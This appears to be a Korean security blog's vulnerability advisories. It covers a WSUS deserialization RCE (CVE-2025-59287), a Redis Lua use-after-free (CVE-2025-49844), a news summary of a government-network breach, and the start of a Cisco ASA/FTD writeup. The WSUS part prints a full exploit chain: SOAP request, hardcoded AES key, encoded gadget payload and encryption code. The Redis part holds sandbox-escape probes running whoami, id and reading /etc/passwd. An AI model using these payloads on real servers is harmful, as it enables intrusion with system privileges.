1. WSUS (Windows Server Update Services)

- MS에서 제공하는 서버 역할 중 하나 [1]
- 조직 내 Windows 운영체제와 Microsoft 제품에 대한 업데이트를 중앙에서 관리·배포할 수 있게 해주는 솔루션

2. CVE-2025-59287

[사진 1] CVE-2025-59287 [2]

- WSUS에서 검증 없이 신뢰할 수 없는 데이터를 역직렬화하여 발생하는 원격 코드 실행 취약점 (CVSS: 9.8) [3]

- 취약점은 EncryptionHelper.DecryptData() 메서드에 존재하며, 복호화된 바이트를 적절한 검증 없이 역직렬화하여 취약점 발생

> [1] : cookieData가 null인지 확인 하고 블록 크기 정렬을 검증
> [2] : cryptoServiceProvider.CreateDecryptor() 를 통해 AES-128-CBC로 cookieData 복호화
> [3] : 암호화된 데이터를 복호화된 블록으로 분할·변환
> [4] : 데이터가 UnencryptedCookieData 인지 또는 역직렬화가 필요한지 확인
> [5] : UnencryptedCookieData가 아닌 경우 복호화된 바이트를 BinaryFormatter.Deserialize()에 전달

internal object DecryptData(byte[] cookieData)
	{
		if (cookieData == null) ------------------------------------------------------- [1]
		{
			throw new LoggedArgumentNullException("cookieData");
		}
		ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor(); -- [2]
		byte[] array;
		try
		{
			if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize)
			{
				throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
			}
			array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];  ------ [3]
			cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
			cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
		}
		finally
		{
			cryptoTransform.Dispose();
		}
		object obj = null;
		if (this.classType == typeof(UnencryptedCookieData)) --------------- [4]
		{
			UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
			try
			{
				unencryptedCookieData.Deserialize(array);
			}
			catch (Exception ex)
			{
				if (ex is OutOfMemoryException)
				{
					throw;
				}
				throw new LoggedArgumentException(ex.ToString(), "cookieData");
			}
			obj = unencryptedCookieData;
		}
		else ----------------------------------------------------------------- [5]
		{
			BinaryFormatter binaryFormatter = new BinaryFormatter();
			MemoryStream memoryStream = new MemoryStream(array);
			try
			{
				obj = binaryFormatter.Deserialize(memoryStream);
			}
			catch (Exception ex2)
			{
				if (ex2 is OutOfMemoryException)
				{
					throw;
				}
				throw new LoggedArgumentException(ex2.ToString(), "cookieData");
			}
			if (obj.GetType() != this.classType)
			{
				throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
			}
		}
		return obj;
	}

 

- 공격자는 아래 HTTP 요청을 WSUS 서버로 전송해 시스템 권한으로 악성 코드를 실행할 수 있음

POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>

 

2.1 PoC

- ysooo를 Base64로 디코딩한 후 AES‑128‑CBC로 암호화 및 Base64로 인코딩 [4]

using System;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.Serialization.Formatters.Binary;

namespace hawktracewsus
{
    class Program
    {
        static void Main()
        {
            //key
            string hexKey = "877C14E433638145AD21BD0C17393071";
            byte[] key = new byte[16];
            for (int i = 0; i < 16; i++)
                key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);

            string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";

            byte[] ser = Convert.FromBase64String(ysooo);
            byte[] enc = EncryptPayload(ser, key);
            string base64Payload = Convert.ToBase64String(enc);
            Console.WriteLine(base64Payload);
   
        }

        static byte[] EncryptPayload(byte[] data, byte[] key)
        {
            using (var aes = new AesCryptoServiceProvider())
            {
                aes.Key = key;
                aes.Mode = CipherMode.CBC;
                aes.Padding = PaddingMode.None;
                aes.IV = new byte[16]; // null

                byte[] salt = new byte[16];
                new RNGCryptoServiceProvider().GetNonZeroBytes(salt);

                using (var encryptor = aes.CreateEncryptor())
                {
                    int num = data.Length % encryptor.InputBlockSize;
                    int num2 = data.Length - num;
                    byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
                    encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
                    encryptor.TransformBlock(data, 0, num2, result, salt.Length);
                    byte[] paddedBlock = new byte[encryptor.InputBlockSize];
                    for (int i = 0; i < num; i++)
                    {
                        paddedBlock[i] = data[num2 + i];
                    }
                    encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);

                    return result;
                }
            }
        }
    }
}

3. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]
> 업데이트를 적용할 수 없는 경우 WSUS 비활성화 또는 8530, 8531 포트로의 인바운드 트래픽 차단 (단, 이 경우 WSUS 기능이 완전히 중단되므로 서비스 영향도 고려 필요)
> WSUS는 기본적으로 비활성화 상태

4. 참고

[1] https://learn.microsoft.com/ko-kr/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-59287
[3] https://hawktrace.com/blog/CVE-2025-59287
[4] https://gist.github.com/hawktrace/880b54fb9c07ddb028baaae401bd3951
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71889&menuNo=205020
[7] https://www.dailysecu.com/news/articleView.html?idxno=201778

1. Redis (Remote Dictionary Server)

- 오픈 소스 인메모리 비관계형 데이터베이스 [1]
- 데이터를 Key - Value 형태로 메모리에 하며, 빠른 읽기/쓰기 성능을 제공

2. 취약점

[사진 1] CVE-2025-49844 [2]

- Redis 소스 코드에 존재하는 UAF(Use-After-Free) 버그로인해 공격자가 임의의 네이티브 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.9)
> 해당 UAF 버그는 Redis 소스 코드에 약 13년 동안 존재하였고, Redis 모든 제품군에 영향을 미침
> 공격자는 인증 후 특수하게 제작된 Lua 스크립트를 전송하여 Lua 샌드박스를 벗어나 Redis 호스트에서 임의의 네이티브 코드를 실행할 수 있음
> 이를 통해 공격자는 호스트 시스템에 대한 전체 접근 권한을 획득하여 자격 증명 탈취, 악성코드 배포, 민감 데이터 유출, 클라우드 내 수평 이동 등 다양한 공격이 가능

영향받는 버전
Redis
- 6.2.20 미만
- 7.0 이상 7.2.11 미만
- 7.4.0 이상 7.4.6 미만
- 8.0.0 이상 8.0.4 미만
- 8.2.0 이상 8.2.2 미만

 

2.1 UAF (Use-After-Free)

- 동적으로 할당된 메모리를 해제한 뒤, 그 메모리를 가리키는 포인터를 초기화하지 않거나해제된 메모리에 다시 접근·재사용할 때 발생하는 취약점 [3][4][5][6]

Dangling Pointer: 해제된 메모리를 가리키고 있는 포인로, UAF가 발생하는 원인이 될 수 있음
Use-After-Free (UAF): 해제된 공간의 포인터를 NULL로 초기화하지 않고 재사용 하는 취약점

 

Dangling Pointer : 특정 메모리 위치를 가리키고 있는 포인터로, 해당 메모리 위치가 더이상 유효하지 않은 상태 즉, 유효하지 않은 메모리 영역을 가리키는 포인터
> free()는 동적으로 할당된 메모리를 해제하는 데 사용되는데, 메모리를 해제(반환) 하기만 할 뿐 포인터 변수의 값(메모리 주소)는 초기화하지 않음
> 따라서 free() 이후 포인터를 초기화하지 않으면, 포인터는 해제된 메모리를 가리키는 Dangling Pointer가 됨

int main(){
	int *space = malloc(32);
	free(space);
	*space = 1; // vuln   <-- Dangling Pointer
}

 

- 힙 메모리는 효율적인 메모리 관리를 위해, 새로 할당하고자 하는 공간의 크기를 확인한 후 해제된 공간 중 적절한 크기의 공간이 있다면, 해당 공간을 재사용
> 때문에 해제된 메모리 공간을 재사용할 수 있게되어 UAF가 발생

 

2.2 PoC

- PoC는 크게 대상 Redis 서버 접근 가능 여부 및 취약 여부 확인 → 취약점 트리거 두 부분으로 나눌 수 있음 [7]

2.2.1 대상 Redis 서버 접근 가능 여부 및 취약 여부 확인

- test_connection() : 대상 서버에 접근할 수 있는지 검증
- check_lua_enabled() : 간단한 Lua 스크립트(test_script = "return 'test'")를 eval()로 실행시켜 대상 서버에서 Lua 스크립트가 사용가능한지 확인
- check_vulnerability() : 대상 서버가 취약점에 영향받는 버전인지 확인

def test_connection(host, port, password=None):
    """Test connection to Redis instance"""
    try:
        print(f"{Fore.YELLOW}[*] Testing connection to {host}:{port}...{Style.RESET_ALL}")
        r = redis.Redis(host=host, port=port, password=password, decode_responses=True)
        info = r.info()
        print(f"{Fore.GREEN}[+] Connected successfully!{Style.RESET_ALL}")
        print(f"{Fore.CYAN}[i] Redis Version: {info.get('redis_version', 'Unknown')}{Style.RESET_ALL}")
        return r
    except redis.ConnectionError as e:
        print(f"{Fore.RED}[-] Connection failed: {e}{Style.RESET_ALL}")
        return None
    except redis.AuthenticationError:
        print(f"{Fore.RED}[-] Authentication failed!{Style.RESET_ALL}")
        return None

.......

def check_lua_enabled(r):
    """Check if Lua scripting is enabled"""
    try:
        print(f"{Fore.YELLOW}[*] Checking if Lua scripting is enabled...{Style.RESET_ALL}")
        # Simple Lua script to test
        test_script = "return 'test'"
        result = r.eval(test_script, 0)
        print(f"{Fore.GREEN}[+] Lua scripting is enabled!{Style.RESET_ALL}")
        return True
    except Exception as e:
        print(f"{Fore.RED}[-] Lua scripting check failed: {e}{Style.RESET_ALL}")
        return False
  
.......

def check_vulnerability(r):
    """Check if the Redis instance is vulnerable to CVE-2025-49844"""
    print(f"\n{Fore.YELLOW}[*] Checking vulnerability status...{Style.RESET_ALL}")
    
    try:
        info = r.info()
        version = info.get('redis_version', '')
        
        # Vulnerable versions (before patches)
        vulnerable_versions = [
            ('7.2', '7.2.11'),
            ('7.4', '7.4.6'),
            ('8.0', '8.0.4'),
            ('8.2', '8.2.2'),
        ]
        
        print(f"{Fore.CYAN}[i] Detected Redis version: {version}{Style.RESET_ALL}")
        
        # Simple version check (not comprehensive)
        major_minor = '.'.join(version.split('.')[:2])
        
        is_vulnerable = False
        for vuln_base, patched_version in vulnerable_versions:
            if version.startswith(vuln_base):
                if version < patched_version:
                    is_vulnerable = True
                    break
        
        if is_vulnerable:
            print(f"{Fore.RED}[!] VULNERABLE: This version is affected by CVE-2025-49844{Style.RESET_ALL}")
            print(f"{Fore.RED}[!] Update to the latest patched version immediately!{Style.RESET_ALL}")
        else:
            print(f"{Fore.GREEN}[+] This version appears to be patched or not vulnerable{Style.RESET_ALL}")
            
        return is_vulnerable
        
    except Exception as e:
        print(f"{Fore.RED}[-] Version check failed: {e}{Style.RESET_ALL}")
        return None

2.2.2 취약점 트리거

- def exploit_uaf_basic()
UAF 취약성 패턴을 기본적인 형태로 시연하는 Lua 스크립트 실행
> 가비지 컬렉션(collectgarbage("collect"))을 반복 호출하여 finalizer 호출 타이밍을 유도, Use‑After‑Free 발생 가능성을 시연 [8]

def exploit_uaf_basic(r):
    """
    Basic Use-After-Free trigger
    
    This is a simplified demonstration. The actual CVE-2025-49844 exploit
    involves complex memory manipulation in the Lua interpreter.
    """
    print(f"\n{Fore.YELLOW}[*] Attempting basic UAF trigger...{Style.RESET_ALL}")
    
    # Lua script that demonstrates the vulnerability pattern
    # Note: This is a simplified version for demonstration
    lua_script = """
    -- CVE-2025-49844 PoC: Use-After-Free in Lua interpreter
    
    local function trigger_uaf()
        -- Create a table with metatable
        local t = {}
        local mt = {
            __gc = function(self)
                -- This will be called during garbage collection
                redis.log(redis.LOG_WARNING, "UAF trigger point")
            end
        }
        setmetatable(t, mt)
        
        -- Force garbage collection multiple times
        -- This can trigger use-after-free conditions
        for i = 1, 10 do
            collectgarbage("collect")
        end
        
        return "UAF pattern executed"
    end
    
    return trigger_uaf()
    """
    
    try:
        result = r.eval(lua_script, 0)
        print(f"{Fore.GREEN}[+] Lua script executed: {result}{Style.RESET_ALL}")
        print(f"{Fore.YELLOW}[!] UAF pattern triggered (simplified demo){Style.RESET_ALL}")
        return True
    except Exception as e:
        print(f"{Fore.RED}[-] Exploit failed: {e}{Style.RESET_ALL}")
        return False

 

- exploit_sandbox_escape()
> escape_tests 배열에 저장된 명령들을 eval()로 실행하여 Lua 샌드박스 경계/보호 상태 테스트
> os.execute, io.popen, loadfile, package.loadlib 등 외부 명령/파일/라이브러리 접근 시도 포함

def exploit_sandbox_escape(r):
    """
    Attempt Lua sandbox escape
    
    The actual CVE-2025-49844 allows escaping the Lua sandbox through
    memory corruption. This is a demonstration of sandbox boundaries.
    """
    print(f"\n{Fore.YELLOW}[*] Testing Lua sandbox boundaries...{Style.RESET_ALL}")
    
    # Test various sandbox escape attempts
    escape_tests = [
        ("os.execute", "return os.execute('whoami')"),
        ("io.popen", "return io.popen('id'):read('*a')"),
        ("loadfile", "return loadfile('/etc/passwd')"),
        ("package.loadlib", "return package.loadlib('libc.so.6', 'system')"),
    ]
    
    for test_name, lua_code in escape_tests:
        try:
            print(f"{Fore.CYAN}[*] Testing {test_name}...{Style.RESET_ALL}")
            result = r.eval(lua_code, 0)
            print(f"{Fore.RED}[!] VULNERABLE: {test_name} accessible! Result: {result}{Style.RESET_ALL}")
        except Exception as e:
            print(f"{Fore.GREEN}[+] Protected: {test_name} blocked ({str(e)[:50]}...){Style.RESET_ALL}")

 

- exploit_memory_corruption()
> Lua 레벨에서 대량 문자열 객체를 생성해 Heap Spray 수행, 메모리 레이아웃 제어 시도
> finalizer가 달린 객체를 해제하고 collectgarbage("collect")를 호출하여 UAF 발생 가능성이 높은 메모리 상태를 시연

def exploit_memory_corruption(r):
    """
    Advanced memory corruption exploit
    
    This demonstrates the memory corruption pattern used in CVE-2025-49844.
    The actual exploit is more complex and involves precise heap manipulation.
    """
    print(f"\n{Fore.YELLOW}[*] Attempting memory corruption pattern...{Style.RESET_ALL}")
    
    lua_script = """
    -- Advanced UAF pattern for CVE-2025-49844
    
    local function create_spray()
        local objects = {}
        -- Heap spray to control memory layout
        for i = 1, 1000 do
            objects[i] = string.rep("A", 1024)
        end
        return objects
    end
    
    local function trigger_corruption()
        local spray = create_spray()
        
        -- Create object with finalizer
        local victim = {}
        local mt = {
            __gc = function(self)
                -- Use-after-free trigger point
                -- In the real exploit, this would manipulate freed memory
                redis.log(redis.LOG_WARNING, "Finalizer called - UAF window")
            end
        }
        setmetatable(victim, mt)
        
        -- Trigger garbage collection
        victim = nil
        collectgarbage("collect")
        
        -- At this point, in vulnerable versions, we have a UAF condition
        -- The real exploit would now execute arbitrary code
        
        return "Memory corruption pattern completed"
    end
    
    return trigger_corruption()
    """
    
    try:
        result = r.eval(lua_script, 0)
        print(f"{Fore.GREEN}[+] Memory corruption pattern executed: {result}{Style.RESET_ALL}")
        print(f"{Fore.RED}[!] In vulnerable versions, this could lead to RCE!{Style.RESET_ALL}")
        return True
    except Exception as e:
        print(f"{Fore.RED}[-] Pattern execution failed: {e}{Style.RESET_ALL}")
        return False

3. 대응방안

- 벤더사 제공 업데이트 적용 [9][10]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-49844 Redis 6.2.20 미만 6.2.20 이상
7.0 이상 7.2.11 미만 7.2.11 이상
7.4.0 이상 7.4.6 미만 7.4.6 이상
8.0.0 이상 8.0.4 미만 8.0.4 이상
8.2.0 이상 8.2.2 미만 8.2.2 이상

4. 참고

[1] https://redis.io/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-49844
[3] https://shayete.tistory.com/entry/7-Use-After-Free
[4] https://juyeong-lee.tistory.com/14
[5] https://sarimus.tistory.com/148
[6] https://www.inflearn.com/community/questions/1138552/free%EC%9D%98-%EC%9D%98%EB%AF%B8
[7] https://github.com/raminfp/redis_exploit
[8] https://www.tutorialspoint.com/lua/lua_garbage_collection.htm
[9] https://github.com/redis/redis/releases
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71883
[11] https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844
[12] https://www.boannews.com/media/view.asp?idx=139675&page=1&kind=1
[13] https://www.dailysecu.com/news/articleView.html?idxno=201210

요약 - 미국 해커 전문 잡지 Phrack이 공개한 ‘APT Down: The North Kroea Files’ 관련 내용이 사실로 확인
- 국정원, 17일 해커가 정부업무관리시스템(온나라)에 무단 접속해 자료를 열람한 사실 확인 및 긴급 보안 조치 시행
내용 - 공무원 업무 시스템 접속에 필요한 행정전자서명(GPKI) 정보 등에 해외 국가 배후 해커가 접근했다는 의혹이 사실로 확인
정부 원격접속시스템과 인증체계의 구조적 취약점을 악용한 정교한 위장 침투한 사례
> 국가정보원 : 17일 해커가 정부업무관리시스템(온나라)에 무단 접속해 자료를 열람한 사실 확인 및 긴급 보안 조치로 추가 피해를 차단
> 행정안전부 : 정부세종청사에서 브리핑을 열고 “7월 중순 국정원을 통해 외부 인터넷PC에서 정부원격근무시스템(G-VPN)을 통해 온나라시스템에 접근한 정황을 확인했다”고 밝힘

① 국정원 발표
> 해커는 다양한 경로로 공무원들의 행정업무용 인증서(GPKI)와 패스워드 등을 확보한 후, 인증체계를 면밀히 분석해 합법적 사용자로 위장해 행정망에 접근
> 이후 6개 인증서 및 6개 국내외 IP를 이용해 22.09~25.07까지 행안부가 재택근무를 위해 사용하는 원격접속시스템(G-VPN)을 통과, 온나라시스템에 접속해 자료 열람
> 대응 과정에서 해커가 일부 부처가 자체 운영 중인 전용 시스템에 접근한 사실도 확인해 조사 중
> 악용한 6개 IP주소를 전체 국가 및 공공기관에 전파해 차단하는 등 해커의 접근을 막는 긴급 보안조치

> 정부 원격접속시스템 접속시 ARS 등 2차 인증 적용 
> 온나라시스템 접속 인증 로직 변경
> 해킹에 악용된 행정업무용 인증서(GPKI) 폐기
> 피싱 사이트 접속 추정 공직자 이메일 비밀번호 변경
> 각 부처 서버 접근통제 강화
> 소스코드 취약점 수정 등의 조치로 추가 해킹 가능성을 차단

② 행안부 발표
> 정부원격근무시스템에 접속할 때 행정전자서명 인증과 함께 전화인증(ARS)을 받으시 거치도록 보안을 강화
> 행정전자서명 기반 인증 체계를 생체기반 복합 인증 수단인 모바일 공무원증 등으로 대체

③ 점검 결과
> 정부 원격접속시스템(G-VPN)의 본인확인 절차가 미흡하고 온나라시스템의 인증 로직 일부가 외부에 노출돼 복수 기관에 무단 접속이 가능
> 각 부처의 전용 서버 접근통제도 불완전해 침입 탐지가 어려웠던 점


- 국정원은 7월 온나라시스템 등 공공 및 민간 분야 해킹 첩보를 입수, 유관 기관과 함께 정밀 분석을 실시해 해킹 사실을 확인하고 추가 피해 방지에 나섰다고 설명
> 또 다른 정부 부처에서 쓰는 행정메일 서버 소스코드가 노출됨에 따라 보안이 취약한 부분 수정
> 패스워드가 노출된 다른 부처엔 GPKI 비밀번호 변경
> 해커가 만든 피싱 사이트에 접속한 것으로 보이는 180개 공직자 이메일 계정 비밀번호 변경

- 프랙 보고서
> 우리나라 외교부 메일 서버가 해킹되고 해양수산부 등 부처의 인증 정보가 노출됐다고 적시
> 또 방첩사를 겨냥한 피싱 공격 사실도 제시

- 국정원은 해커가 온나라시스템 등 정부 행정망에서 열람한 구체적 자료 내용 및 규모를 파악 중
> 행안부 등 유관기관과 함께 인증체계 강화 및 정보보안제품 도입 확대 등 보안 강화 방안도 마련할 예정
> 현재 보안관제시스템으로는 정상적 경로로 은밀히 진행되는 해킹 징후를 포착하는데 어려움이 있어, 사각지대를 모니터링할 수 있도록 탐지체계도 고도화
기티 - 정상적인 인증 경로를 이용한 위장 침투로 인해 기존 보안관제 체계로 탐지가 어려움
> 국정원은 행정망의 사각지대를 모니터링할 수 있는 탐지체계 고도화를 추진할 방침
> 정부 행정망은 국민의 행정 서비스와 직결된 핵심 인프라로, 현재 조사를 조속히 마무리하고, 재발방지를 위한 범정부적 대책을 마련해 실행에 옮길 계획

- 단순한 해킹 시도가 아닌, 행정기관의 인증·접속 체계의 근본적 취약성을 드러낸 사건이라고 평가
> 정부의 원격접속 구조를 제로트러스트 기반으로 전환하고, GPKI 중심 인증체계의 보안 강화 및 중앙관리체계 확립이 시급

 

보안뉴스

 

[대한민국 털렸다] ‘프랙’ 보고서 사실이었다...행안부 온나라 시스템 등 해킹 확인

공무원 업무 시스템 접속에 필요한 행정전자서명(GPKI) 정보 등에 해외 국가 배후 해커가 접근했다는 의혹이 사실로 확인됐다. 국가정보원은 17일 해커가 정부업무관리시스템(온나라)에 무단 접

www.boannews.com

 

국정원, 온나라시스템 정교한 해킹 침투 확인…“행정망 인증체계 허점 악용” - 데일리시큐

국가정보원이 정부 행정업무용 시스템인 ‘온나라시스템’을 비롯한 공공·민간 분야에서 정교한 해킹 침투 정황을 확인하고, 행정안전부 등 관계기관과 함께 긴급 대응에

www.dailysecu.com

 

NIS 국가정보원

대한민국 국가정보원 공식 홈페이지

www.nis.go.kr

 

1. 시스코 방화벽 ASA/FTD

- Cisco Secure Firewall Adaptive Security Appliance (ASA) Software : Cisco ASA 제품군의 핵심 운영 체제 [1]
> Cisco ASA : 방화벽, 안티바이러스, 침입 방지 및 VPN 등을 결합한 보안 장비
- Cisco Secure Firewall Threat Defense (FTD) Software  : ASA 하드웨어에 설치하여 사용하는 차세대 방화벽 소프트웨어로 ASA 보다 다양한 기능을 제공 [2]

2. 취약점

- 공격자들은 Cisco ASA/FTD의 VPN 웹 서버에 존재하는 두 가지 취약점을 연쇄적으로 악용하고 있음을 확인 [3]

> 취약점에 영향받는 버전을 사용하는 Cisco 장비 중 일부 장비는 지원이 종료됨

> ‘RayInitiator’와 ‘LINE VIPER’ 악성코드를 배포

구분 설명
RayInitiator - GRUB(부트로더)에 심겨지는 지속성 부트킷으로, 재부팅과 펌웨어 업그레이드 이후에도 유지
- 방화벽 운영체제 핵심 바이너리인 ‘lina’ 내부에 핸들러를 삽입해 사용자 모드 로더 ‘LINE VIPER’를 메모리에 적재
LINE VIPER - CLI 명령 실행, 패킷 캡처, VPN 인증 우회, syslog 억제, 사용자 명령 수집, 지연된 재부팅 강제 등 다양한 기능 수행
- 통신은 HTTPS(WebVPN 클라이언트 인증 세션) 또는 ICMP를 활용해 은밀하게 이뤄짐

 

2.1 CVE-2025-20362

[사진 1] CVE-2025-20362 [4]

- Cicso ASA/FTD Software의 VPN 웹 서버에서 부적절한 입력값 검증으로 인해 발생하는 인증 우회 취약점

영향받는 버전
- Cisco Secure Firewall Adaptive Security Appliance (ASA) Software
9.12 / 9.14 / 9.16 / 9.17 / 9.18 / 9.19 / 9.20 / 9.22 / 9.23
- Cisco Secure Firewall Threat Defense (FTD) Software
7.0 / 7.1 / 7.2 / 7.3 / 7.4 / 7.6 / 7.7

 

- 취약점은 webvpn_files/files_action.lua에 존재하며, 인증된 URI /+CSCOE+/files/files_action.html을 통해 접근할 수 있음 [5]

> [1] : boundary 값이 nil(≒null)이 아니고, left 값이 string.len(boundary)+8 보다 큰지 검사

> [2] : buf, fs, server, path, leftstr 값이 nil인지 검사

> [3] : [2] 중 하나라도 nil이 아닌 경우 HTTP_CONTTOBUFFER() 호출

